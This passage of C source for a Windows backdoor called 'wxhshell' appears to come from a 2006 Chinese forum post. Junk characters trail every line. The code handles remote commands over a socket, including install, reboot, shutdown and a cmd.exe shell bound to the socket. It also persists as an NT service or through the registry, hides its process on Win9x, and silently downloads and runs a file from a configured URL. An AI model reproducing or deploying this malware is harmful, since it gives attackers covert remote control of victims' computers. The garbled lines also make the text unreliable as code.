      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "Git@%80  
    break; DT8|2"H  
  } >0=`3X|Y7  
  // 安装 tEf_XBjKV  
  case 'i': { `B"=\0  
    if(Install()) V{O,O,*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .%h.b6^  
    else B9/x?Jv1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '%yWz)P  
    break; * 'WzIk2  
    } } '.l'%  
  // 卸载 #qGfo)  
  case 'r': { ;+g p#&i`  
    if(Uninstall()) :Oo(w%BD]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /-b)`%Q|Y  
    else KY<>S/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B@Ez,u5  
    break; +#}I^N  
    } :se o0w]  
  // 显示 wxhshell 所在路径 |Ma"B4  
  case 'p': { 13I 7ah  
    char svExeFile[MAX_PATH]; {j+w|;dZF  
    strcpy(svExeFile,"\n\r"); Gmi4ffIb3  
      strcat(svExeFile,ExeFile); # nwEF QA  
        send(wsh,svExeFile,strlen(svExeFile),0); n|Iy  
    break; 3<1Uq3Pa  
    } w-2p'u['Z  
  // 重启 ns9iTU)  
  case 'b': { Y'&A~/Adf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `=RJ8u  
    if(Boot(REBOOT)) Qa~o'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6&S;Nrg9  
    else { E'?yI' ~=  
    closesocket(wsh); t?L;k+sMM  
    ExitThread(0); 9w^1/t&=04  
    } U,yU-8z/  
    break; $(H%|Oyn  
    } }+h/2D  
  // 关机 -tAdA2?G  
  case 'd': { mVg-z~44T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |G~LJsXW!v  
    if(Boot(SHUTDOWN)) p [4/Nq,c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BK]bSj  
    else { n$g g$<  
    closesocket(wsh); DnS# cs~  
    ExitThread(0); zdrCr0Rx,  
    } &*B=5W;6^u  
    break; 2--"@@  
    } 3 k py3z[%  
  // 获取shell jxU1u"WU  
  case 's': { Fd":\7p  
    CmdShell(wsh); R"EX$Zj^E  
    closesocket(wsh); $-[V)]h  
    ExitThread(0); Q<3=s6@T  
    break; I$9^i#O'3  
  } Jp=eh   
  // 退出 ME7jF9d  
  case 'x': { bYGK}:T8U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1T a48  
    CloseIt(wsh); `9n%Dy<  
    break; 9}Ud'#E  
    } uV!Ax *'  
  // 离开 CvKXVhf0$J  
  case 'q': { NK2Kw{c"iI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9E4H`[EQ  
    closesocket(wsh); ` =g9Rg/<  
    WSACleanup(); 3zo]*6p0  
    exit(1);  ^E*W B~  
    break; sy=M#WGS  
        } Mo\LFxx>4{  
  } v=zqj}T  
  } 9>\P]:  
CpNnywDRwU  
  // 提示信息 ,f8<s-y4Sg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YQ9@Dk0R  
} ?Y7'OlO  
  } q(4W /y  
Z{s&myd  
  return; Y u\<  
} la:i!q AH  
D7H,49#1Q  
// shell模块句柄 @d]I3?`  
int CmdShell(SOCKET sock) / PDe<p  
{ S C7Tp4  
STARTUPINFO si; rVgz+'rFD[  
ZeroMemory(&si,sizeof(si)); rxH*h`Xx@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3e4; '5q;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e6f:@ O?  
PROCESS_INFORMATION ProcessInfo; ~G|un}g=  
char cmdline[]="cmd"; SN+B8*!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bCr) 3,  
  return 0; _xT=AF9~o  
} S*-n%D0q5  
k~Qb"6n2  
// 自身启动模式 83~ Gu[  
int StartFromService(void) DG,CL8bv  
{ kY*3)KCp  
typedef struct ,S 5tkTa  
{ M24FuS  
  DWORD ExitStatus; {U1 j@pKm  
  DWORD PebBaseAddress; >Y=HP&A<  
  DWORD AffinityMask; ~SgW+sDF u  
  DWORD BasePriority; tgXIj5z  
  ULONG UniqueProcessId; px;5X4U  
  ULONG InheritedFromUniqueProcessId; i1k(3:ay<  
}   PROCESS_BASIC_INFORMATION; yQ5&S]Xk$$  
c`}-i6  
PROCNTQSIP NtQueryInformationProcess; 2c`m8EaJ  
?tS=rqc8oW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NBHS   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Y.Z>I;  
UmYReF<<_  
  HANDLE             hProcess; :+,>0%  
  PROCESS_BASIC_INFORMATION pbi; 0vOt. LC/S  
-6a4H?L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); to{/@^ D  
  if(NULL == hInst ) return 0; eQ _dO]Q  
sf )ojq6s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I;H6E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d#P3 <  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CBw/a0Uck  
EV{kd.=f  
  if (!NtQueryInformationProcess) return 0; '{=dEEi  
1-[~}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gM_z`H 5[!  
  if(!hProcess) return 0; R\k= CoJJ  
$ZX^JWq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F F<xsoZJ  
KNT(lA0s  
  CloseHandle(hProcess); a)J3=Z-  
9l) .L L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v Yt-Nx  
if(hProcess==NULL) return 0; "{>I5<:t  
%"tLs%"7=P  
HMODULE hMod; .2?tx OKh  
char procName[255]; Lt ; !q b.  
unsigned long cbNeeded; c4QegN  
d~+8ui{-U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8m,PsUp7  
%zj;~W;qPH  
  CloseHandle(hProcess); H.`>t  
]-h$CJSY  
if(strstr(procName,"services")) return 1; // 以服务启动 MG ,exN @  
i'&KoR ?  
  return 0; // 注册表启动 bB^% O^:  
} k8fvg4  
o=i)s2   
// 主模块 +E8 \g  
int StartWxhshell(LPSTR lpCmdLine) )6mx\t  
{ n';"c;Ye)  
  SOCKET wsl; -L e:%q2  
BOOL val=TRUE; 3=o^Vv  
  int port=0; t}m6];  
  struct sockaddr_in door; ZqKUz5M4  
*zoAD|0N  
  if(wscfg.ws_autoins) Install(); B.wihJVDg  
V_Z~$  
port=atoi(lpCmdLine); mXZOkx{  
C =fs[  
if(port<=0) port=wscfg.ws_port; Y4*ezt:;Q  
tI50z khaB  
  WSADATA data; r,}U-S.w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ! K? o H  
9>~UqP9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T&Dt;CSF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dm3cQ<0  
  door.sin_family = AF_INET; ^]mwL)I}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tln*Baq  
  door.sin_port = htons(port); T' O5> e  
OiPE,sv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RqTW$94RD  
closesocket(wsl); Q*wub9  
return 1; Dw}8ci'  
} :$Lu V5  
_r!''@B  
  if(listen(wsl,2) == INVALID_SOCKET) { o6f^DG3*  
closesocket(wsl); ]{0R0Gr94  
return 1; 0Yz &aH  
} Ao%E]M  
  Wxhshell(wsl); 2`4'Y.Qf  
  WSACleanup(); zt/p' khP3  
gb 6 gIFq;  
return 0; y[7*^9J  
0gY,[aQ2  
} b_ 88o-*/  
m~s.al(G91  
// 以NT服务方式启动 !>XG$-$`Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B ;Zsp  
{ I#(D.\P  
DWORD   status = 0; ^bpxhf x  
  DWORD   specificError = 0xfffffff; ', -4o-  
v=Ep  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _%WJ7~>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pQ0yZpN%;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RB1c!h$u  
  serviceStatus.dwWin32ExitCode     = 0; cVv>"oF;~*  
  serviceStatus.dwServiceSpecificExitCode = 0; PAF2=  
  serviceStatus.dwCheckPoint       = 0; 1_vaSEov  
  serviceStatus.dwWaitHint       = 0; KobNi#O+  
R03V+t=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bvx%|:R  
  if (hServiceStatusHandle==0) return; 5=CLR  
nA8]/r1k  
status = GetLastError(); YpQ/ )fSEV  
  if (status!=NO_ERROR) zjd]65P  
{ =IBdnEz:M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +gb2>fei&  
    serviceStatus.dwCheckPoint       = 0; l'YpSO~l7  
    serviceStatus.dwWaitHint       = 0; MsOO''o  
    serviceStatus.dwWin32ExitCode     = status; Ko%&~C_  
    serviceStatus.dwServiceSpecificExitCode = specificError; yO Cv-zm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `X?l`H;#  
    return; %XGwQB$zk8  
  } EgIFi{q=0  
xQs2 )  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2%g)0[1  
  serviceStatus.dwCheckPoint       = 0; Te?UQX7Z}M  
  serviceStatus.dwWaitHint       = 0; b;\qF&T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eK\ O>  
} cWIX!tc8  
kQlXcR  
// 处理NT服务事件,比如:启动、停止 "dwx;E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =]x FHw8A  
{ <rc3&qmd  
switch(fdwControl) P\bW kp0  
{ <~# ZtD$G  
case SERVICE_CONTROL_STOP: `+]9+:tS  
  serviceStatus.dwWin32ExitCode = 0; !?B9 0(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qz&I~7aoyV  
  serviceStatus.dwCheckPoint   = 0; ;;BQuG  
  serviceStatus.dwWaitHint     = 0; +s&+G![  
  { w2y{3O"p=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KfJF9!U*?  
  } m MO:m8W  
  return; _QCspPT' c  
case SERVICE_CONTROL_PAUSE: -)@DH;[tb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7SYU^GD  
  break; O6gI%Jdp  
case SERVICE_CONTROL_CONTINUE: N,|:=gD_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @;x|+@r  
  break; ,c_[`q\  
case SERVICE_CONTROL_INTERROGATE: 5}gcJjz  
  break; Bt|S!tEy  
}; (_-<3)q4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oPRvd_~  
} {>>ozB.  
0+IJ, ;Wx  
// 标准应用程序主函数 1vQf=t %lw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mvoi   
{ sAS\-c'6  
\>nPg5OT  
// 获取操作系统版本 SiHZco I  
OsIsNt=GetOsVer(); k <ds7k1m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R^P~iAO  
[0N==Ym1  
  // 从命令行安装 dix\hqZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); V_Kpb*3  
,eD@)K_:  
  // 下载执行文件 "_jcz r$*  
if(wscfg.ws_downexe) { ]qL#/   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cl{x5>.'#  
  WinExec(wscfg.ws_filenam,SW_HIDE); f5zxy!dhKS  
} H?ssV^k  
Sai_rNRWB  
if(!OsIsNt) { 2;.7c+r0  
// 如果时win9x,隐藏进程并且设置为注册表启动 -fVeE<[  
HideProc(); lY!`<_Am  
StartWxhshell(lpCmdLine); nU%rSASu  
} [(}f3W&  
else 6 grJoim|  
  if(StartFromService()) tUv@4<~,/  
  // 以服务方式启动 t`03$&Cx7  
  StartServiceCtrlDispatcher(DispatchTable); rs2~spN;h  
else "v4;m\g&:  
  // 普通方式启动 3nf+ imAF  
  StartWxhshell(lpCmdLine); VztalwI  
6N\~0d>5m  
return 0; L <]j&  
}
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只看该作者 1 发表于: 2006-10-10
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